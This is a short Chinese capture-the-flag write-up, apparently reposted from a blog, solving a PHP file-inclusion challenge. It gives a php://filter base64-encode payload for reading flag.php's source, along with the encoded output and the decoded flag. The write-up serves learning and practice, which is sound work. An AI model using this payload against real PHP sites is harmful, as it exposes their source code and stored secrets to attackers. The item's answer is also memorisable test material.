提示
构造payload
?file=flag.php
得到一串字符，那么我们用PHP伪协议尝试一下
构造payload
?file=php://filter/read=convert.base64-encode/resource=flag.php SSBoYXZlIGEgZmxhZyEKPD9waHAgCgovL0ZsYWc6IG1vY3Rme2YxbGVfaW5jbHVkNF9lNXN5fQovL0J5OmRhb3l1YW4KCj8+Cg==用base64解码
Flag: moctf{f1le_includ4_e5sy}
转载于:https://www.cnblogs.com/gaonuoqi/p/11494054.html
